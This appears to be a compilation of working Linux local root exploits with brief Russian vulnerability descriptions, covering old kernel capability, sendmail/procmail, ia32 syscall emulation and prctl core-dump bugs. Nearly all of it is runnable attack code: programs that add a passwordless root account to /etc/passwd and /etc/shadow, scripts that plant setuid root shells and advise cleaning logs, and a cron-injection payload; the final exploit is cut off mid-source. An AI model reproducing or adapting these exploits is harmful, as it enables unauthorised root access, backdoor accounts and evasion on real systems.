filename="exploit.c"
-- snip -- ex.c --
#include <linux/capability.h>
int main (void) {
cap_user_header_t header;
cap_user_data_t data;
header = malloc(8);
data = malloc(12);
header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;
data->inheritable = data->effective = data->permitted = 0;
capset(header, data);
execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}
-- snap -- ex.c --
-- snip -- add.c --
#include <fcntl.h>
int main (void) {
int fd;
char string[40];
seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
strcpy(string, "yomama::11029:0:99999:7:::");
write(fd, string, strlen(string));
close(fd);
}
-- snap -- add.c --
cap-procmail-sendmail
Код:
#!/bin/sh
echo "+-----------------------------------------------------------+"
echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |"
echo "| local root exploit |"
echo "| |"
echo "| Bugs found and exploit written by Wojciech Purczynski |"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo "+-----------------------------------------------------------+"
TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh
umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR
echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void unsetenv(const char*);
void _init(void) {
struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
unsetenv("LD_PRELOAD");
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
}
_FOE_
echo "Compiling anti-noexec library (capdrop.so)"
cc capdrop.c -c -o capdrop.o
ld -shared capdrop.o -o capdrop.so
echo "Creating suid shell (sush.c)"
cat <<_FOE_ > sush.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
_FOE_
echo "Compiling suid shell (sush.c)"
cc sush.c -o $TMPDIR/sush
echo "Creating shell script"
cat <<_FOE_ >script
mv $TMPDIR/sush $SUIDSHELL
chown root.root $SUIDSHELL
chmod 4111 $SUIDSHELL
exit 0
_FOE_
echo "Creating own sm.cf"
cat <<_FOE_ >$TMPDIR/sm.cf
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$* \$#local \$: \$1
Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
_FOE_
echo "Dropping CAP_SETUID and calling sendmail"
export LD_PRELOAD=$TMPDIR/capdrop.so
/bin/true
unset LD_PRELOAD
echo "Waiting for suid shell ($SUIDSHELL)"
while [ ! -f $SUIDSHELL ]; do sleep 1; done
echo "Removing everything"
cd ..
rm -fr $TMPDIR
echo "Suid shell at $SUIDSHELL"
$SUIDSHELL
#!/bin/sh
echo "+-----------------------------------------------------+"
echo "| Sendmail & procmail & kernel local root exploit |"
echo "| |"
echo "|Bugs found and exploit written by Wojciech Purczynski|"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo "+-----------------------------------------------------+"
echo Creating cap.c
cat <<_FOE_ > cap.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
int main()
{
struct __user_cap_header_struct caph={
_LINUX_CAPABILITY_VERSION,
0
};
struct __user_cap_data_struct capd={
0,
0,
0xfffffe7f
};
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail $USER");
}
_FOE_
echo Creating $HOME/.procmailrc
PROCMAILRCBAK=$HOME/.procmailrc.bak
mv -f $HOME/.procmailrc $PROCMAILRCBAK
cat <<_FOE_ > $HOME/.procmailrc
:H
*
|/bin/tcsh -c "rm -fr /bin/sush; mv -f /tmp/sush /bin/sush; chown root.root /bin/sush; chmod 4111 /bin/sush"
_FOE_
echo Compiling cap.c -> cap
cc cap.c -o cap
echo Creating sush.c
cat <<_FOE_ > sush.c
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
_FOE_
echo Compiling sush
cc sush.c -o /tmp/sush
echo Executing cap
./cap
echo Don\'t forget to clean logs
echo Waiting for suid shell
while [ ! -f /bin/sush ]; do
sleep 1
done
echo Cleaning everything
rm -fr $HOME/.procmailrc cap.c cap sush.c
mv $PROCMAILRCBAK $HOME/.procmailrc
echo Executing suid shell
/bin/sush
Повышение привилегий в 64-битных версиях Linux (privilege escalation)
Затронутые продукты:
LINUX : kernel 2.4
LINUX : kernel 2.6
Недостаточная проверка прав модификации регистра в эмуляции 32-битных системных вызовов.
Код:
/*
* exploit for x86_64 linux kernel ia32syscall emulation
* bug, discovered by Wojciech Purczynski <cliph_at_isec.pl>
*
* by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
* of ATM-Lab http://www.atm-lab.pl
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
uint32_t uid, euid, suid;
static void kernelmodecode(void)
{
int i;
uint8_t *gs;
uint32_t *ptr;
asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));
for (i = 200; i < 1000; i+=1) {
ptr = (uint32_t*) (gs + i);
if ((ptr[0] == uid) && (ptr[1] == euid)
&& (ptr[2] == suid) && (ptr[3] == uid)) {
ptr[0] = 0; //UID
ptr[1] = 0; //EUID
ptr[2] = 0; //SUID
break;
}
}
}
static void docall(uint64_t *ptr, uint64_t size)
{
getresuid(&uid, &euid, &suid);
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED)
{
printf("mmap fault\n");
exit(1);
}
for (; ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", 0);
printf("no /bin/sh ??\n");
exit(0);
}
int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;
if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}
if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", 0);
perror("exec fault");
exit(1);
}
if (pid == -1) {
printf("fork fault\n");
exit(1);
}
for (;;) {
if (wait(&status) != pid)
continue;
if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}
if (!WIFSTOPPED(status))
continue;
if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n", WSTOPSIG(status));
break;
}
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
}
if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}
return 0;
}
Многочисленные ошибки в ядре Linux (multiple bugs)
Затронутые продукты:
LINUX : kernel 2.4
LINUX : kernel 2.6
Кратковременные условия приводят к возможности перезаписи областей памяти ядра в uselib(). Целочисленные переполнения в многочисленных драйверах (random poolsize, scsi ioctl, moxa). Обход защиты RLIMIT_MEMLOCK. DoS через mlockall. Повышение привилегий из-за кратковременных условий, возникающих при обработке страничного сбоя на многопроцессорных системах.
binfmt_elf uselib VMA insert race vulnerability
Повышение привилегий через coredump-файлы в Linux (privilege escalation)
Затронутые продукты:
LINUX : kernel 2.6
За счет установки rlimit процесс может создать coredump-файл в любом каталоге.
Код:
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <luna@aditel.org> (main PoC code) */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/
#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}
Переполнение стекового буфера в sendmsg()
Затронутые продукты:
LINUX : kernel 2.6
Переполнение стекового буфера в sendmsg(), доступ к памяти ядра через raw_sendmsg(), DoS через ipt_recent, многочисленные DoS-условия через fput() на 64-битных платформах с 32-битной эмуляцией, DoS USB Request Block, доступ к критичной информации через DRM, доступ к памяти ядра через драйвера Orinoco, доступ к терминалам других пользователей, кратковременные условия в ip_vs_conn_flush, утечка памяти в AUDITSYSCALL.
Код:
/*
* RIP Linux procs :-)
*
* gcc -O2 -fomit-frame-pointer bigrip.c -o bigrip
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define SPINME 30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>
#include <linux/net.h>
#include <asm/page.h>
#define str(s) #s
#define xstr(s) str(s)
#define TASK_SIZE 0xc0000000
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_socketcall __NR_socketcall
#define __NR_sys_write __NR_write
#define __NR_sys_read __NR_read
#define __NR_sys_kill __NR_kill
#define __NR_sys_time __NR_time
#define __NR_sys_fcntl __NR_fcntl
#define __NR_sys_fork __NR_fork
#define __NR_sys_close __NR_close
#define __NR_sys_exit __NR_exit
#define __NR_sys_pause __NR_pause
#define __NR_sys_pipe __NR_pipe
#define __NR_sys_getppid __NR_getppid
#define __NR_sys_getpid __NR_getpid
#define ESPTOP (( ((unsigned)&rip_code_end) & ~(PAGE_SIZE-1) ) +
PAGE_SIZE)
#define errno ( * (int*) (ESPTOP-4) )
#define sigcnt ( * (int*) (ESPTOP-8) )
static void rip_code_end(void);
// code start
static void rip_code(void)
{
}
_syscall3(int, sys_fcntl, unsigned int, fd, unsigned int, cmd, unsigned
long, arg);
_syscall3(int, sys_write, int, a, void*, b, int, l);
_syscall3(int, sys_read, int, a, void*, b, int, l);
_syscall2(int, sys_socketcall, int, c, int *, a);
_syscall2(int, sys_munmap, ulong, a, ulong, b);
_syscall2(int, sys_kill, int, c, int, a);
_syscall1(int, sys_time, void*, t);
_syscall1(int, sys_pipe, int*, t);
_syscall1(int, sys_close, int, c);
_syscall1(int, sys_exit,